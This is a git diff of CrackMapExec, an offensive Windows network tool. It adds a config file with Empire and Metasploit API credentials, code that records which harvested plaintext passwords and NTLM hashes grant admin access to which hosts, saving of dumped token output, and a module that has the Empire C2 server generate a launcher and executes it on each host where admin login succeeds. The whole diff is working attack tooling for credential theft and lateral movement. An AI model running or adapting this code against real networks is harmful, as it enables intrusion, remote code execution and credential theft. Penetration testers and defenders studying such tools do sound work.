diff --git a/cme.conf b/cme.conf new file mode 100644 index 00000000..f096cc82 --- /dev/null +++ b/cme.conf @@ -0,0 +1,10 @@ +[Empire] +api_host=127.0.0.1 +api_port=1337 +username=empireadmin +password=Password123! + +[Metasploit] +rpc_host=127.0.0.1 +rpc_port=55552 +password=abc123 \ No newline at end of file diff --git a/cme_db.py b/cme_db.py index c7796e69..f006b614 100644 --- a/cme_db.py +++ b/cme_db.py @@ -1,6 +1,8 @@ import cmd import sqlite3 import sys +import os +from core.database import CMEDatabase class CMEDatabaseNavigator(cmd.Cmd): @@ -9,9 +11,10 @@ class CMEDatabaseNavigator(cmd.Cmd): self.prompt = 'cmedb > ' try: # set the database connectiont to autocommit w/ isolation level - self.conn = sqlite3.connect('data/cme.db', check_same_thread=False) - self.conn.text_factory = str - self.conn.isolation_level = None + conn = sqlite3.connect('data/cme.db', check_same_thread=False) + conn.text_factory = str + conn.isolation_level = None + self.db = CMEDatabase(conn) except Exception as e: print "Could not connect to database: {}".format(e) sys.exit(1) @@ -19,17 +22,110 @@ class CMEDatabaseNavigator(cmd.Cmd): def do_exit(self, line): sys.exit(0) - def do_hosts(self, line): + def do_host(self, line): - cur = self.conn.cursor() - cur.execute("SELECT * FROM hosts") - hosts = cur.fetchall() - cur.close() + if not line: + return - print "\nHosts:\n" + hosts = self.db.get_hosts(line) + + print "\nHost(s):\n" print " HostID IP Hostname Domain OS" print " ------ -- -------- ------ --" + hostIDList = [] + + for host in hosts: + hostID = host[0] + hostIDList.append(hostID) + + ip = host[1] + hostname = host[2] + domain = host[3] + os = host[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(hostID), '{:<17}'.format(ip), '{:<25}'.format(hostname), '{:<17}'.format(domain), '{:<17}'.format(os)) + + print "" + + print "\nCredential(s) with Admin Access:\n" + print " CredID CredType Domain UserName Password" + print " ------ -------- ------ -------- --------" + + for hostID in hostIDList: + links = self.db.get_links(hostID=hostID) + + for link in links: + linkID, credID, hostID = link + creds = self.db.get_credentials(credID) + + for cred in creds: + credID = cred[0] + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(credID), '{:<12}'.format(credType), '{:<17}'.format(domain), '{:<21}'.format(username), '{:<17}'.format(password)) + + print "" + + def do_cred(self, line): + + if not line: + return + + creds = self.db.get_credentials(line) + + print "\nCredential(s):\n" + print " CredID CredType Domain UserName Password" + print " ------ -------- ------ -------- --------" + + credIDList = [] + + for cred in creds: + credID = cred[0] + credIDList.append(credID) + + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(credID), '{:<12}'.format(credType), '{:<17}'.format(domain), '{:<21}'.format(username), '{:<17}'.format(password)) + + print "" + + print "\nAdmin Access to Host(s):\n" + print " HostID IP Hostname Domain OS" + print " ------ -- -------- ------ --" + + for credID in credIDList: + links = self.db.get_links(credID=credID) + + for link in links: + linkID, credID, hostID = link + hosts = self.db.get_hosts(hostID) + + for host in hosts: + hostID = host[0] + ip = host[1] + hostname = host[2] + domain = host[3] + os = host[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(hostID), '{:<17}'.format(ip), '{:<25}'.format(hostname), '{:<17}'.format(domain), '{:<17}'.format(os)) + + print "" + + def do_hosts(self, line): + + hosts = self.db.get_hosts() + + print "\nHosts:\n" + print " HostID Admins IP Hostname Domain OS" + print " ------ ------ -- -------- ------ --" + for host in hosts: # (id, ip, hostname, domain, os) hostID = host[0] @@ -38,20 +134,19 @@ class CMEDatabaseNavigator(cmd.Cmd): domain = host[3] os = host[4] - print u" {}{}{}{}{}".format('{0: <8}'.format(hostID), '{0: <17}'.format(ip), '{0: <25}'.format(hostname), '{0: <17}'.format(domain), '{0: <17}'.format(os)) + links = self.db.get_links(hostID=hostID) + + print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID), '{:<15}'.format(str(len(links)) + ' Cred(s)'), '{:<17}'.format(ip), '{:<25}'.format(hostname), '{:<17}'.format(domain), '{:<17}'.format(os)) print "" def do_creds(self, line): - cur = self.conn.cursor() - cur.execute("SELECT * FROM credentials") - creds = cur.fetchall() - cur.close() + creds = self.db.get_credentials() print "\nCredentials:\n" - print " CredID CredType Domain UserName Password" - print " ------ -------- ------ -------- --------" + print " CredID Admin On CredType Domain UserName Password" + print " ------ -------- -------- ------ -------- --------" for cred in creds: # (id, credtype, domain, username, password, host, notes, sid) @@ -61,10 +156,20 @@ class CMEDatabaseNavigator(cmd.Cmd): username = cred[3] password = cred[4] - print u" {}{}{}{}{}".format('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(password)) + links = self.db.get_links(credID=credID) + + print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), '{:<13}'.format(str(len(links)) + ' Host(s)'), '{:<12}'.format(credType), '{:<17}'.format(domain), '{:<21}'.format(username), '{:<17}'.format(password)) print "" if __name__ == '__main__': - cmedbnav = CMEDatabaseNavigator() - cmedbnav.cmdloop() \ No newline at end of file + + if not os.path.exists('data/cme.db'): + print 'Could not find CME database, did you run the setup_database.py script?' + sys.exit(1) + + try: + cmedbnav = CMEDatabaseNavigator() + cmedbnav.cmdloop() + except KeyboardInterrupt: + pass \ No newline at end of file diff --git a/core/connection.py b/core/connection.py index ff6c8e7a..38b2afb9 100644 --- a/core/connection.py +++ b/core/connection.py @@ -89,6 +89,9 @@ class Connection: self.check_if_admin() self.db.add_credential('plaintext', self.domain, username, password) + if self.admin_privs: + self.db.link_cred_to_host('plaintext', self.domain, username, password, self.host) + out = u'{}\\{}:{} {}'.format(self.domain, username, password, @@ -117,6 +120,9 @@ class Connection: self.check_if_admin() self.db.add_credential('hash', self.domain, username, ntlm_hash) + if self.admin_privs: + self.db.link_cred_to_host('hash', self.domain, username, ntlm_hash, self.host) + out = u'{}\\{} {} {}'.format(self.domain, username, ntlm_hash, diff --git a/core/connector.py b/core/connector.py index 6498671c..393ab8f9 100644 --- a/core/connector.py +++ b/core/connector.py @@ -106,7 +106,9 @@ def connector(target, args, db, module, context, cmeserver): module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) context = Context(db, module_logger, args) context.localip = local_ip - cmeserver.server.context.localip = local_ip + + if hasattr(module, 'on_request') or hasattr(module, 'has_response'): + cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) diff --git a/core/context.py b/core/context.py index d105d9bb..161b6eab 100644 --- a/core/context.py +++ b/core/context.py @@ -1,4 +1,5 @@ import logging +from ConfigParser import ConfigParser class Context: @@ -8,5 +9,8 @@ class Context: self.log.debug = logging.debug self.localip = None + self.conf = ConfigParser() + self.conf.read('cme.conf') + for key, value in vars(arg_namespace).iteritems(): setattr(self, key, value) \ No newline at end of file diff --git a/core/database.py b/core/database.py index 6412c184..412475fd 100644 --- a/core/database.py +++ b/core/database.py @@ -31,43 +31,106 @@ class CMEDatabase: cur.close() + def link_cred_to_host(self, credtype, domain, username, password, host): + + cur = self.conn.cursor() + + cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?) AND LOWER(domain) LIKE LOWER(?) AND LOWER(username) LIKE LOWER(?) AND password LIKE ?", [credtype, domain, username, password]) + creds = cur.fetchall() + + cur.execute('SELECT * FROM hosts WHERE ip LIKE ?', [host]) + hosts = cur.fetchall() + + if len(creds) and len(hosts): + for cred, host in zip(creds, hosts): + credid = cred[0] + hostid = host[0] + + #Check to see if we already added this link + cur.execute("SELECT * FROM links WHERE credid=? AND hostid=?", [credid, hostid]) + links = cur.fetchall() + + if not len(links): + cur.execute("INSERT INTO links (credid, hostid) VALUES (?,?)", [credid, hostid]) + + cur.close() + + def get_links(self, credID=None, hostID=None): + + cur = self.conn.cursor() + + if credID: + cur.execute("SELECT * from links WHERE credid=?", [credID]) + + elif hostID: + cur.execute("SELECT * from links WHERE hostid=?", [hostID]) + + results = cur.fetchall() + cur.close() + return results + def is_credential_valid(self, credentialID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() - cur.execute('SELECT * FROM credentials WHERE id=? limit 1', [credentialID]) + cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID]) results = cur.fetchall() cur.close() return len(results) > 0 - def get_credentials(self, filterTerm=None, credtype=None): + def get_credentials(self, filterTerm=None): """ Return credentials from the database. - - 'credtype' can be specified to return creds of a specific type. - - Values are: hash and plaintext. """ cur = self.conn.cursor() # if we're returning a single credential by ID if self.is_credential_valid(filterTerm): - cur.execute("SELECT * FROM credentials WHERE id=? limit 1", [filterTerm]) + cur.execute("SELECT * FROM credentials WHERE id=? LIMIT 1", [filterTerm]) # if we're filtering by host/username elif filterTerm and filterTerm != "": - cur.execute("SELECT * FROM credentials WHERE LOWER(host) LIKE LOWER(?) or LOWER(username) like LOWER(?)", [filterTerm, filterTerm]) - - # if we're filtering by credential type (hash, plaintext, token) - elif(credtype and credtype != ""): - cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?)", [credtype]) + cur.execute("SELECT * FROM credentials WHERE LOWER(username) LIKE LOWER(?)", [filterTerm]) # otherwise return all credentials else: cur.execute("SELECT * FROM credentials") + results = cur.fetchall() + cur.close() + return results + + def is_host_valid(self, hostID): + """ + Check if this host ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM hosts WHERE id=? LIMIT 1', [hostID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def get_hosts(self, filterTerm=None): + """ + Return hosts from the database. + """ + + cur = self.conn.cursor() + + # if we're returning a single host by ID + if self.is_host_valid(filterTerm): + cur.execute("SELECT * FROM hosts WHERE id=? LIMIT 1", [filterTerm]) + + # if we're filtering by ip/hostname + elif filterTerm and filterTerm != "": + cur.execute("SELECT * FROM hosts WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?) LIMIT 1", [filterTerm, filterTerm]) + + # otherwise return all credentials + else: + cur.execute("SELECT * FROM hosts") + results = cur.fetchall() cur.close() return results \ No newline at end of file diff --git a/core/remoteoperations.py b/core/remoteoperations.py index 3b99743d..0aa2c0e0 100644 --- a/core/remoteoperations.py +++ b/core/remoteoperations.py @@ -2,6 +2,7 @@ import logging import random import string from gevent import sleep +from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.dcerpc.v5.dtypes import NULL diff --git a/modules/code_execution/empire_agent_exec.py b/modules/code_execution/empire_agent_exec.py new file mode 100644 index 00000000..235f22d9 --- /dev/null +++ b/modules/code_execution/empire_agent_exec.py @@ -0,0 +1,53 @@ +import logging +import requests +import sys + +#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message +requests.packages.urllib3.disable_warnings() +logging.getLogger("requests").setLevel(logging.WARNING) +logging.getLogger("urllib3").setLevel(logging.WARNING) + +class CMEModule: + ''' + Uses Empire's RESTful API to generate a launcher for the specified listener and executes it + Module by @byt3bl33d3r + ''' + + name='Empire_Exec' + + def options(self, context, module_options): + ''' + LISTENER Listener name to generate the launcher for + ''' + + if not 'LISTENER' in module_options: + context.log.error('LISTENER option is required!') + sys.exit(1) + + self.empire_launcher = None + + headers = {'Content-Type': 'application/json'} + + #Pull the username and password from the config file + payload = {'username': context.conf.get('Empire', 'username'), + 'password': context.conf.get('Empire', 'password')} + + #Pull the host and port from the config file + base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port')) + + r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) + if r.status_code == 200: + token = r.json()['token'] + + payload = {'StagerName': 'launcher', 'Listener': module_options['LISTENER']} + r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False) + self.empire_launcher = r.json()['launcher']['Output'] + + context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER'])) + else: + context.log.error("Error authenticating to Empire's RESTful API server!") + + def on_admin_login(self, context, connection): + if self.empire_launcher: + connection.execute(self.empire_launcher) + context.log.success('Executed Empire Launcher') \ No newline at end of file diff --git a/modules/credentials/tokens.py b/modules/credentials/tokens.py index 33580b9e..b750911f 100644 --- a/modules/credentials/tokens.py +++ b/modules/credentials/tokens.py @@ -1,4 +1,5 @@ from core.helpers import create_ps_command, obfs_ps_script, gen_random_string +from datetime import datetime from StringIO import StringIO class CMEModule: @@ -66,3 +67,8 @@ class CMEModule: buf = StringIO(data.strip()).readlines() for line in buf: context.log.highlight(line.strip()) + + log_name = 'Tokens-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) + with open('logs/' + log_name, 'w') as tokens_output: + tokens_output.write(data) + context.log.info("Saved output to {}".format(log_name)) diff --git a/modules/example_module.py b/modules/example_module.py index 2de74af6..04a927df 100644 --- a/modules/example_module.py +++ b/modules/example_module.py @@ -7,7 +7,7 @@ class CMEModule: name = 'Example' - def options(self, context, args): + def options(self, context, module_options): '''Required. Module options get parsed here. Additionally, put the modules usage here as well''' pass diff --git a/requirements.txt b/requirements.txt index 9c1c177f..30a71dbd 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,5 +4,6 @@ netaddr pycrypto pyasn1 termcolor +requests colorama pyOpenSSL \ No newline at end of file diff --git a/setup/setup_database.py b/setup/setup_database.py index 82f138b0..92b84a44 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -1,3 +1,5 @@ +#!/usr/bin/env python2 + import sqlite3 conn = sqlite3.connect('../data/cme.db') @@ -15,6 +17,13 @@ c.execute('''CREATE TABLE "hosts" ( "os" text )''') +#This table keeps track of which credential has admin access over which machine +c.execute('''CREATE TABLE "links" ( + "id" integer PRIMARY KEY, + "credid" integer, + "hostid" integer + )''') + # type = hash, plaintext c.execute('''CREATE TABLE "credentials" ( "id" integer PRIMARY KEY,